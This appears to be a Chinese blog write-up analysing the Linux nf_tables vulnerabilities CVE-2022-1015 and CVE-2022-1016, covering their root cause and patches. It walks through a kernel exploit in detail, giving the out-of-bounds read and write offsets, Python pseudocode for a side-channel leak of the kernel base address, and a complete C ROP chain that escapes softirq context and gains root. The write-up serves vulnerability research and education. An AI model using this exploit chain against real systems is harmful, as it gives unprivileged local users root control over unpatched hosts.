1b65: 55 push rbp
1b66: 8b 47 04 mov eax,DWORD PTR [rdi+0x4]
1b69: 0f c8 bswap eax
1b6b: 89 c7 mov edi,eax
1b6d: 8d 48 fc lea ecx,[rax-0x4]
1b70: c1 e7 04 shl edi,0x4
1b73: 48 89 e5 mov rbp,rsp
1b76: c1 ef 02 shr edi,0x2
1b79: 83 f8 04 cmp eax,0x4
1b7c: 89 f8 mov eax,edi
1b7e: 0f 47 c1 cmova eax,ecx
1b81: 85 d2 test edx,edx
1b83: 74 13 je 1b98 <nft_parse_register_load+0x38>
1b85: 83 f8 03 cmp eax,0x3
1b88: 76 0e jbe 1b98 <nft_parse_register_load+0x38>
1b8a: 8d 14 82 lea edx,[rdx+rax*4] # [1] !!! 内联实现的 nft_validate_register_load() 直接将 nft_parse_register_load() 的返回值拿来用
1b8d: 83 fa 50 cmp edx,0x50
1b90: 77 0d ja 1b9f <nft_parse_register_load+0x3f>
1b92: 88 06 mov BYTE PTR [rsi],al
1b94: 5d pop rbp
1b95: 31 c0 xor eax,eax
1b97: c3 ret
1b98: b8 ea ff ff ff mov eax,0xffffffea
1b9d: 5d pop rbp
1b9e: c3 ret
1b9f: b8 de ff ff ff mov eax,0xffffffde
1ba4: 5d pop rbp
1ba5: c3 ret
分析: nft_validate_register_load() 函数调用是内联在其中的,相关的计算位于 1b8a
。rax是 nft_parse_register() 的返回值,rdx 是len,rsi是 sreg指针。所以reg还是32位,并没有优化变短。
nft_parse_register_store() 也有相同的漏洞,由于register位于栈上,所以导致stack OOB,这样就能覆写返地址。
测试: register设为 0xfffffffb,length设为0x20,那么 [2-1]
处则为 0xfffffffb * 4 + 0x20 = 0x0c < 0x50
,经过验证后, (u8)0xfffffffb = 0xfb
会被写到 *sreg
。
问题:是否存在一个 expression 传入的 len 可以导致溢出呢?最后找到 nft_bitwise 和 nft_payload 都可以让我们传递自定义的length,范围是 0~0xff。其他的expression都使用了很小的写死的 length。
现在很有希望了,下一步是看看怎么利用这些原语。
4-2 检查利用原语
目标:看看漏洞能够提供哪些利用原语。
导致溢出的reg值范围:这里有三种值都可以导致整数溢出,因为要乘以4 = 2^2
: 2^32 - 1
, 2^31 - 1
, 2^30 - 1
,所以可以用这三种值 0xffffffff
/ 0x7fffffff
/ 0x3fffffff
。这些值作为前缀都可以导致溢出,唯一的限制是,传给 nft_validate_register_load() 函数的reg值不能超过 0xfffffffb
(nft_parse_register() 函数中会减4)。
这三类前缀值都有同样的溢出效果,关键在于最低字节的构造,原因如下,效果都一样:
0xfffffff0 * 4 = 0xffffffc0
0x7ffffff0 * 4 = 0xffffffc0
0x3ffffff0 * 4 = 0xffffffc0
可用的2个expression:现在开始,我们选择用 0x7fffffff
附近的值。之前我们分析了 nft_payload
和 nft_bitwise
这两个 expresseion,它们的特性如下:
nft_payload
可以产生OOB write,nft_bitwise
可以产生 OOB write 和 OOB read。nft_payload
可以溢出最多0xff字节并写任意值。nft_bitwise
最多写0x40字节并写任意值,可以读0x40字节的栈数据(只能读进某个寄存器,后续还得通过侧信道才能获得寄存器上的值)。- 需要提供
sreg
和dreg
,都需要通过同一length值的验证; - 限制是只有0x40字节的空间,所以如果想从寄存器读写,我们不能通过大于0x40 length 的验证。
- 需要提供
nft_bitwise可读写的范围:nft_bitwise
最大length 为0x40,意味着 寄存器值乘以4至少为 0xffffffc0
,我们乘以4获得的最大值为 0xfffffffb
,这样 0xfffffffb + 0x40 = 0x3b <= 0x50
就能通过验证。
- 寄存器范围如下:
0x7ffffff0 * 4 = 0xffffffc0
,写入sreg
的最低字节 0xf00x7fffffff * 4 = 0xfffffffb
, 写入sreg
的最低字节 0xff- 更正错误:寄存器值不是最多为 0x7ffffffb吗,
nft_parse_register()
函数中会减4 ???????????- 正确应该是
0x7ffffffb * 4 = 0xffffffec
, 写入sreg
的最低字节 0xfb。 - 对应可读写的偏移是
0xfb * 4 + 0x40 = 0x42c
- 所以能读写的范围是
struct nft_regs
的偏移[0x3c0, 0x42c]
的内容。
- 正确应该是
- 转化为 struct nft_regs 中的 byte offset
0xf0 * 4 = 0x3c0
0xff * 4 + 0x40 = 0x43c
所以,nft_bitwise
可以OOB读写 struct nft_regs 的偏移 [0x3c0, 0x43c]
的内容。
nft_payload可写的范围:nft_payload
最大length 为 0xff,这样寄存器值乘以4至少得为 0xffffff01
;最多得为 0xffffffaf
,因为 0xffffffaf + 0xff = 0x50 <= 0x50
。你当然也可以使用小于0xff 的length,寄存器值每减1,就多获得4字节的length。
- 寄存器范围如下:
0x7fffffc1 * 4 = 0xffffff04
:写入sreg
的最低字节0xc1
0x7fffffeb * 4 = 0xffffffac
:写入sreg
的最低字节0xeb
- 转化为 struct nft_regs 中的 byte offset
0xc1 * 4 = 0x304
0xeb * 4 + 0xff = 0x4ab
所以 nft_payload
能OOB写 struct nft_regs 的偏移 [0x304, 0x4ab]
的内容。
栈上可覆写的数据:接下来看看栈上对应的偏移处都有什么数据可以覆盖。有很多调用 nft_do_chain()
的路径,有两个因素会影响栈的布局:
- chain hook 是设置为
input
还是output
- 如果是一个
input
chain hook,就会在相应的网络设备的软中断上下文(softirq stack)中触发hook;(PS:此处的栈溢出稍微有点麻烦) - 如果是一个
output
chain hook,就会在send*
syscall上下文(syscall stack)中触发hook。
- 如果是一个
- 使用的协议类型
- 发送 raw IP packet 和发送 UDP packet 有不同的调用栈。
你可以组合不同的协议 / 接口 / hook 位置来获得不同的调用栈(不同的栈上有不同的数据),现在,我们使用UDP packet 和 output
chain。当发送UDP packet 到达 output
chain hook时,触发 nft_do_chain()
栈溢出时的栈布局情况如下所示:
4-3 侧信道信息泄露
泄露内核基址:内核基址有 9 bit 的熵变,所以加载位置有512种。最直接的办法是利用 nft_bitwise
OOB read 来读取栈数据,但是最多能读取的区间长度是0x7c 字节(作者计算错误,其实是0x6c字节),很难确保能读取到栈基址,幸运的是,这里有两个地址可以泄露栈基址:
gef➤ x/bx 0xffffffff815b49c1
0xffffffff815b49c1 <import_iovec+49>: 0xc9
gef➤ x/bx 0xffffffff819ac3ec
0xffffffff819ac3ec <copy_msghdr_from_user+92>: 0xba
问题:内核地址会被写到寄存器,但是怎么获取到寄存器的值呢?
侧信道:根据内核地址的值,创建rule来 drop或accept packet,就可以通过检查我们发送的包是否也被接收,就能逐渐推算出内核地址的值,过程如下:
- (1)创建UDP socket来接收
127.0.0.1:9999
- 需要在不同的线程接收这些packet;
- 对每个收到的packet,还需要回一个消息;
- (2)添加一条rule
- 利用 nft_bitwise 将内核地址拷贝到寄存器;
- 使用
nft_cmp_expr
来和常量比较; - 如果比较为真则 drop packet
- (3)发送UDP packet 到
127.0.0.1:9999
- 根据是否收到回发的消息来确定内核地址的信息
- (4)重复(2)和(3)直到有足够的信息来确定内核地址
还有一些缺陷,就是回发的消息可能因意外被drop。为了解决这个问题,我们可以添加一些噪音还原,我们需要一个 base chain
和 auxiliary chain
。
base chain
中的 rule:
# | Expression | Arguments | Comment |
---|---|---|---|
0 | nft_payload | base=NFT_PAYLOAD_TRANSPORT_HEADER offset=offsetof(udphdr, dport) len=sizeof_field(udphdr, dport) | 将packet目标端口写到 register 8 |
1 | nft_cmp_expr | op=NFT_CMP_EQ sreg=8 data=9999 | 比较目标端口是否等于 9999 , 不等于则发出NFT_BREAK |
2 | nft_payload | base=NFT_PAYLOAD_INNER_HEADER offset=0 len=8 | 将packet前8字节写到 register 8 |
3 | nft_cmp_expr | op=NFT_CMP_EQ sreg=8 data=0xdeadbeef0badc0de | 比较packet前8字节是否等于一个 magic value, 不等于则发出 NFT_BREAK |
4 | nft_immediate_expr | verdict=NFT_JUMP chain=aux_chain | 调用 auxiliary chain |
auxiliary chain
中的rule:
# | Expression | Arguments | Comment |
---|---|---|---|
0 | nft_bitwise | op=NFT_BITWISE_RSHIFT data=SHIFT_AMT dreg=OOB_OFFSET sreg=8 | 利用OOB read将内核地址写到 register, 移位 SHIFT_AMT bits 以将目标地址的字节写到正确的 register |
1 | nft_cmp | op=NFT_CMP_GT sreg=ADDRESS_OFFSET data=COMPARAND | 比较内核地址字节和 COMPARAND , 如果不相等则发出 NFT_BREAK |
2 | nft_immediate | verdict=NFT_DROP | 如果地址字节大于 COMPARAND 则 drop packet |
通过检查目标端口并且比较header的前8字节和 magic value,我们可以对指定的packet进行操作(该packet中包含将要比较的值 COMPARAND
)。通过动态修改 COMPARAND
,我们可以二分搜索内核地址字节,通过动态修改 SHIFT_AMT
我们可以挪到下一个内核地址字节(每次确定1字节,总共4个字节即可泄露内核基址)。
泄露伪代码:利用python来实施地址泄露。
# 假设第2个线程在从 127.0.0.1:9999 接收 UDP packet, 并且所有必要的 nf_tables 已经设置好了, 例如 table/base/auxiliary chain
def leak_byte(pos):
s = socket.socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)
s.settimeout(200) # 200ms should be more than enough
s.bind(("127.0.0.1", 1234))
# search bounds
low = 0, high = 255
while True:
mid = (low + high) // 2
# if our search found the value, return it
if low == high:
s.close()
return mid
set_leak_rule(SHIFT_AMT=pos*8, COMPARAND=mid)
# Send packet and trigger the auxiliary chain
s.sendto(pack(0xdeadbeef0badc0de), ("127.0.0.1", 9999))
# Secondary thread sends back to 127.0.0.1:1234
res = s.recvfrom(0x2000)
if not res:
# our packet got dropped, because nothing got sent back in 200ms
# which means that byte to leak >= mid
low = mid
else:
# sanity check
if res != b"MSG_OK":
print("Something went wrong")
return None
# Our packet got accepted, which means that
# byte to leak < mid
high = mid - 1
leak_bytes = lambda: [leak_byte(i*8) for i in range(4)]
4-4 任意代码执行
利用思路:
nft_payload
OOB write 可以将ROP chain写到栈上。问题是在这个特殊的内核上,nft_payload
OOB write 总是和udp_sendmsg()
对齐,udp_sendmsg()
的返回地址在偏移0x2f8
处,而nft_payload
和nft_bitwise
只能从偏移0x304
开始写;inet_sendmsg()
的返回地址在偏移0x4a8
处,我们可以写到这里(覆盖低3字节),但是在偏移0x458
处有栈canary,所以也不行。(作者另外编译了一个内核,但利用难度增大了,由内联优化导致。)- 其他思路,可以覆盖
udp_sendmsg()
的局部变量,或者覆写 verdict chain 指针(使用register值例如0x7fffff00
)。 - 作者尝试先修改 base chain hook。如果将一个
output
chain 修改成input
会发生什么呢?发送UDP packet 到达 input hook时,nft_do_chain()
中触发OOB时的栈布局情况如下所示(会在软中断上下文(softirq stack)中触发栈溢出):
绕过canary:我们可以覆盖 __netif_receive_skb_one_core()
的返回地址(偏移 0x328 处),本来应该返回到 __netif_receive_skb()
,我们可以使 nft_payload
OOB 的下标直接指向返回地址,绕过偏移 0x310 处的canary,偏移 0x328 对应的index为 0xca
。
触发OOB:为了触发覆盖返回地址,我们在table中创建新的 input
chain,并添加rule nft_payload
(将packet的 0xff 字节写到 index 0xca
处),发送包含payload的packet即可触发OOB。
ROP目标:我们的ROP chain 长度可以是 0x1a7-0x24=0x183
,也就是 48 个gadget,通过修改目标进程的 task_struct
来提权。不仅需要修改cred,还得切换到 root namespace (在用户模式下如果有root权限,也可以调用 switch_task_namespaces()
来切换)。
问题:如何优雅返回?我们已经切换到了 input
chain,意味着现在ROP chain在软中断上下文中运行,怎么干净的离开这个上下文并返回到用户空间中呢?不能直接在软中断上下文中调用 bpf_get_current_task()
这种函数来获取当前的 task_struct
。因为软中断可能发生在不同的CPU中,总之,软中断中不存在 current task
这个概念。可能可以通过find_task_by_pid_ns()
来找到指定进程的 task_struct
。
那能不能强制离开软中断的上下文呢?这样就不用处理 random deadlocks 以及修复被破坏的栈了。
4-4-1 离开 softirq context
目标:目前位于 NET_RX_SOFTIRQ
softirq,由特定的虚拟网络接口所触发(只要有packet发到该接口就会触发)。强行离开 softirq 可能会破坏某些数据(例如导致deadlocks),但是当我们转到 root network namespace 时,可以立刻丢掉这个网络接口(避免崩溃和死锁)。
为了弄清如何返回到syscall context,我们先来看看 do_softirq()
函数,也就是调用 __do_softirq()
的地方,也是最终派发 net_rx_action
的地方。
/*
* Macro to invoke __do_softirq on the irq stack. This is only called from
* task context when bottom halves are about to be reenabled and soft
* interrupts are pending to be processed. The interrupt stack cannot be in
* use here.
*/
#define do_softirq_own_stack() \
{ \
__this_cpu_write(hardirq_stack_inuse, true); \
call_on_irqstack(__do_softirq, ASM_CALL_ARG0); \ // call __do_softirq()
__this_cpu_write(hardirq_stack_inuse, false); \
}
asmlinkage __visible void do_softirq(void)
{
__u32 pending;
unsigned long flags;
if (in_interrupt())
return;
local_irq_save(flags);
pending = local_softirq_pending();
if (pending && !ksoftirqd_running(pending))
do_softirq_own_stack(); // <----------- do_softirq_own_stack()
local_irq_restore(flags);
}
asmlinkage __visible void __softirq_entry __do_softirq(void)
{
unsigned long end = jiffies + MAX_SOFTIRQ_TIME;
unsigned long old_flags = current->flags;
int max_restart = MAX_SOFTIRQ_RESTART;
struct softirq_action *h;
bool in_hardirq;
__u32 pending;
int softirq_bit;
/*
* Mask out PF_MEMALLOC as the current task context is borrowed for the
* softirq. A softirq handled, such as network RX, might set PF_MEMALLOC
* again if the socket is related to swapping.
*/
current->flags &= ~PF_MEMALLOC;
pending = local_softirq_pending();
softirq_handle_begin();
in_hardirq = lockdep_softirq_start();
account_softirq_enter(current);
restart:
/* Reset the pending bitmask before enabling irqs */
set_softirq_pending(0);
local_irq_enable();
h = softirq_vec;
while ((softirq_bit = ffs(pending))) {
unsigned int vec_nr;
int prev_count;
h += softirq_bit - 1;
vec_nr = h - softirq_vec;
prev_count = preempt_count();
kstat_incr_softirqs_this_cpu(vec_nr);
trace_softirq_entry(vec_nr);
h->action(h); // <---------- net_rx_action is called here
trace_softirq_exit(vec_nr);
if (unlikely(prev_count != preempt_count())) {
pr_err("huh, entered softirq %u %s %p with preempt_count %08x, exited with %08x?\n",
vec_nr, softirq_to_name[vec_nr], h->action,
prev_count, preempt_count());
preempt_count_set(prev_count);
}
h++;
pending >>= softirq_bit;
}
if (!IS_ENABLED(CONFIG_PREEMPT_RT) &&
__this_cpu_read(ksoftirqd) == current)
rcu_softirq_qs();
local_irq_disable(); // 禁用 irq
pending = local_softirq_pending();
if (pending) {
if (time_before(jiffies, end) && !need_resched() &&
--max_restart)
goto restart;
wakeup_softirqd();
}
account_softirq_exit(current);
lockdep_softirq_end(in_hardirq);
softirq_handle_end(); // 调整 preempt count
current_restore_flags(old_flags, PF_MEMALLOC);
}
处理softirq过程:机制比较复杂,主要就是,在 pending softirq 处理完之后,就会调用 local_irq_disable()
禁用该CPU的irq,再调用 softirq_handle_end()
调整 preempt count (参见 this LWN article),在 do_softirq()
(do_softirq_own_stack
宏中)中恢复旧的 syscall stack。最后,irq被再次使能。
由于是内联实现,所以没有 ROP gadget 能实现 softirq_handle_end()
的功能,所以我们还是得返回到 __do_softirq()
函数中来调用它。我们可以先利用 cli; ret
gadget 来执行 local_irq_disable()
,跳过 wakeup_softirqd()
事务。
这样的话,我们有几率阻止softirq运行。虽然对利用来说不重要,但可能有其他用。为了修复,我们可以返回到原始返回地址并伪造栈帧。
Dump of assembler code for function __do_softirq:
...
...
0xffffffff8200019d <+413>: call 0xffffffff810a8dc0 <wakeup_softirqd>
0xffffffff820001a2 <+418>: add DWORD PTR gs:[rip+0x7e01f9d3],0xffffff00 # 0x1fb80 <__preempt_count>
0xffffffff820001ad <+429>: mov eax,DWORD PTR gs:[rip+0x7e01f9cc] # 0x1fb80 <__preempt_count>
0xffffffff820001b4 <+436>: test eax,0xffff00
0xffffffff820001b9 <+441>: jne 0xffffffff8200028e <__do_softirq+654>
0xffffffff820001bf <+447>: mov edx,DWORD PTR [rbp-0x58]
0xffffffff820001c2 <+450>: mov rax,QWORD PTR gs:0x1fbc0
0xffffffff820001cb <+459>: and edx,0x800
0xffffffff820001d1 <+465>: and DWORD PTR [rax+0x2c],0xfffff7ff
0xffffffff820001d8 <+472>: or DWORD PTR [rax+0x2c],edx
0xffffffff820001db <+475>: add rsp,0x30
0xffffffff820001df <+479>: pop rbx
0xffffffff820001e0 <+480>: pop r12
0xffffffff820001e2 <+482>: pop r13
0xffffffff820001e4 <+484>: pop r14
0xffffffff820001e6 <+486>: pop r15
0xffffffff820001e8 <+488>: pop rbp
0xffffffff820001e9 <+489>: ret
禁用 interrupt 之后,先确保rbp-0x58
指向旧进程的flags—0x400100
,再跳转到 __do_softirq()
末尾,接下来我们就能从syscall context继续。
4-4-2 提权并返回到用户态
现在我们从syscall context 返回,ROP 就能继续
- (1)调用
switch_task_namespaces(current, &init_nsproxy)
- (2)调用
commit_creds(&init_cred)
- (3)返回到用户态
bpf_get_current_task()
可以返回当前进程的task_struct
(只需要用gadget串起来即可)。
为了返回到用户态,最简单的方法是使用 do_softirq
的结尾将旧的栈指针 pop 到 rsp,然后返回到 syscall stack(利用 gadget add rsp, <offset>; ret
) 。这样就不会破坏syscall call stack。
一开始,我们构造好 rcx
和 r11
后直接返回到 syscall_return_via_sysret
,但是我们碰到了保护页。所以还是首先运行 __do_softirq
结尾,然后运行提权代码,接着运行 do_softirq
结尾,以缩短payload。
最终的ROP chain 如下:
int i = 0;
#define _rop(x) do { if ((i+1)*8 > rop_length) { puts("ROP TOO LONG"); exit(EXIT_FAILURE);} rop[i++] = (x); } while (0)
// clear interrupts
_rop(kernel_base + CLI_OFF);
// make rbp-0x58 point to 0x40010000
// this is just a random place in .text
_rop(kernel_base + POP_RBP_OFF);
_rop(kernel_base + OLD_TASK_FLAGS_OFF + 0x58);
/* Cleanly exit softirq and return to syscall context */
_rop(kernel_base + __DO_SOFTIRQ_OFF + 418);
// stack frame was 0x60 bytes
for(int j = 0; j < 12; ++j) _rop(0);
/* We're already on 128 bytes here */
// switch_task_namespaces(current, &init_nsproxy)
_rop(kernel_base + BPF_GET_CURRENT_TASK_OFF);
_rop(kernel_base + MOV_RDI_RAX_OFF);
_rop(kernel_base + POP_RSI_OFF);
_rop(kernel_base + INIT_NSPROXY_OFF);
_rop(kernel_base + SWITCH_TASK_NAMESPACES_OFF);
// commit_cred(&init_cred)
_rop(kernel_base + POP_RDI_OFF);
_rop(kernel_base + INIT_CRED_OFF);
_rop(kernel_base + COMMIT_CREDS_OFF);
// pass control to system call stack
// this is offset +0xc0 from our rop chain
// target is at +0x168
_rop(kernel_base + 0x28b2e4); // add rsp, 0x90; pop rbx; pop rbp; ret
测试截图:
4-5 影响的版本和patch
影响 5.12 (commit 345023b0db31) 到 5.17 (commit 6e1acfa387b9)
以下修改引入了漏洞。之前,nft_parse_register
的返回值被隐式的传给 u8 priv->dreg
。
diff --git a/net/bridge/netfilter/nft_meta_bridge.c b/net/bridge/netfilter/nft_meta_bridge.c
index 8e8ffac037cd4..97805ec424c19 100644
--- a/net/bridge/netfilter/nft_meta_bridge.c
+++ b/net/bridge/netfilter/nft_meta_bridge.c
@@ -87,9 +87,8 @@ static int nft_meta_bridge_get_init(const struct nft_ctx *ctx,
return nft_meta_get_init(ctx, expr, tb);
}
- priv->dreg = nft_parse_register(tb[NFTA_META_DREG]);
- return nft_validate_register_store(ctx, priv->dreg, NULL,
- NFT_DATA_VALUE, len);
+ return nft_parse_register_store(ctx, tb[NFTA_META_DREG], &priv->dreg,
+ NULL, NFT_DATA_VALUE, len);
}
补丁如下,在使用之前严格检查输入寄存器。
diff --git a/net/netfilter/nf_tables_api.c b/net/netfilter/nf_tables_api.c
index d71a33ae39b35..1f5a0eece0d14 100644
--- a/net/netfilter/nf_tables_api.c
+++ b/net/netfilter/nf_tables_api.c
@@ -9275,17 +9275,23 @@ int nft_parse_u32_check(const struct nlattr *attr, int max, u32 *dest)
}
EXPORT_SYMBOL_GPL(nft_parse_u32_check);
-static unsigned int nft_parse_register(const struct nlattr *attr)
+static unsigned int nft_parse_register(const struct nlattr *attr, u32 *preg)
{
unsigned int reg;
reg = ntohl(nla_get_be32(attr));
switch (reg) {
case NFT_REG_VERDICT...NFT_REG_4:
- return reg * NFT_REG_SIZE / NFT_REG32_SIZE;
+ *preg = reg * NFT_REG_SIZE / NFT_REG32_SIZE;
+ break;
+ case NFT_REG32_00...NFT_REG32_15:
+ *preg = reg + NFT_REG_SIZE / NFT_REG32_SIZE - NFT_REG32_00;
+ break;
default:
- return reg + NFT_REG_SIZE / NFT_REG32_SIZE - NFT_REG32_00;
+ return -ERANGE;
}
+
+ return 0;
}
5. CVE-2022-1016
漏洞分析:还记得 nft_do_chain()
函数吗?expression 使用到了 struct nft_regs
结构,如果你足够细心,你可能在 3-2 中已经发现了本漏洞。寄存器在被使用前没有被清0。在调试CVE-2022-1015 OOB read / write 时很难注意到这一点。
unsigned int
nft_do_chain(struct nft_pktinfo *pkt, void *priv)
{
const struct nft_chain *chain = priv, *basechain = chain;
const struct net *net = nft_net(pkt);
struct nft_rule *const *rules;
const struct nft_rule *rule;
const struct nft_expr *expr, *last;
struct nft_regs regs; // <------------------ NEVER INITIALIZED
unsigned int stackptr = 0;
struct nft_jumpstack jumpstack[NFT_JUMP_STACK_SIZE];
bool genbit = READ_ONCE(net->nft.gencursor);
struct nft_traceinfo info;
info.trace = false;
if (static_branch_unlikely(&nft_trace_enabled))
nft_trace_init(&info, pkt, ®s.verdict, basechain);
do_chain:
if (genbit)
rules = rcu_dereference(chain->rules_gen_1);
else
rules = rcu_dereference(chain->rules_gen_0);
next_rule:
rule = *rules;
regs.verdict.code = NFT_CONTINUE;
for (; *rules ; rules++) {
// Start executing expressions, you know the drill..
...
}
...
}
利用思路:利用方法很简单,采用以上相同的技术就能泄露寄存器上的数据,可以使用侧信道,或者 danamic sets (见4-1),或者 nft_payload
packet write (见4-5)。
有很多调用栈可以调用 nft_do_chain()
,所以 CVE-2022-1016 可以泄露大约512字节的栈数据。
影响版本和补丁:从 3.13-rc1 (commit 96518518cc41) 引入漏洞,也就是引入 nf_tables
的时间,在5.17中修补 (commit 4c905f6740a3)。
diff --git a/net/netfilter/nf_tables_core.c b/net/netfilter/nf_tables_core.c
index 36e73f9828c50..8af98239655db 100644
--- a/net/netfilter/nf_tables_core.c
+++ b/net/netfilter/nf_tables_core.c
@@ -201,7 +201,7 @@ nft_do_chain(struct nft_pktinfo *pkt, void *priv)
const struct nft_rule_dp *rule, *last_rule;
const struct net *net = nft_net(pkt);
const struct nft_expr *expr, *last;
- struct nft_regs regs;
+ struct nft_regs regs = {};
unsigned int stackptr = 0;
struct nft_jumpstack jumpstack[NFT_JUMP_STACK_SIZE];
bool genbit = READ_ONCE(net->nft.gencursor);
6. 补充
作者第一次在 softirq中写exp。
# libmnl
$ ./configure --prefix=/usr && make
$ sudo make install
# libnftl
$ ./configure --prefix=/usr && make
$ sudo make install
常用命令:
# 环境安装
$ sudo apt-get install libcap2-bin bzip2 make pkg-config # 安装 setcap/bzip2/make/pkg-config
$ tar -jxvf xx.tar.bz2
$ ./configure --prefix=/usr && make # libmnl / libnftl
$ sudo make install
# ssh连接与测试
$ ssh -p 10021 hi@localhost # password: lol
$ ./exploit
# 编译exp 并赋权
$ make CFLAGS="-I /home/hi/lib/libnftnl-1.2.2/include"
$ setcap "cap_net_bind_service=+ep cap_net_admin=+ep" ./exploit
# scp 传文件
$ scp -P 10021 ./exploit hi@localhost:/home/hi # 传文件
$ scp -P 10021 hi@localhost:/home/hi/trace.txt ./ # 下载文件
$ scp -P 10021 ./libmnl-1.0.5.tar.bz2 ./libnftnl-1.2.2.tar.bz2 hi@localhost:/home/hi/lib
$ scp -P 10021 ./exploit.c ./helpers.c ./helpers.h ./Makefile hi@localhost:/home/hi
问题:原来的 ext4文件系统空间太小,很多包无法安装,现在换syzkaller中的 stretch.img
试试。
# 服务端添加用户
$ useradd hi && echo lol | passwd --stdin hi
# ssh连接
$ sudo chmod 0600 ./stretch.id_rsa
$ ssh -i stretch.id_rsa -p 10021 -o "StrictHostKeyChecking no" root@localhost
$ ssh -p 10021 hi@localhost
# 问题: Host key verification failed.
# 删除ip对应的相关rsa信息即可登录 $ sudo nano ~/.ssh/known_hosts
# https://blog.csdn.net/ouyang_peng/article/details/83115290
参考
How The Tables Have Turned: An analysis of two new Linux vulnerabilities in nf_tables
https://www.openwall.com/lists/oss-security/2022/03/28/5
文档信息
- 本文作者:bsauce
- 本文链接:https://bsauce.github.io/2022/07/16/CVE-2022-1015/
- 版权声明:自由转载-非商用-非衍生-保持署名(创意共享3.0许可证)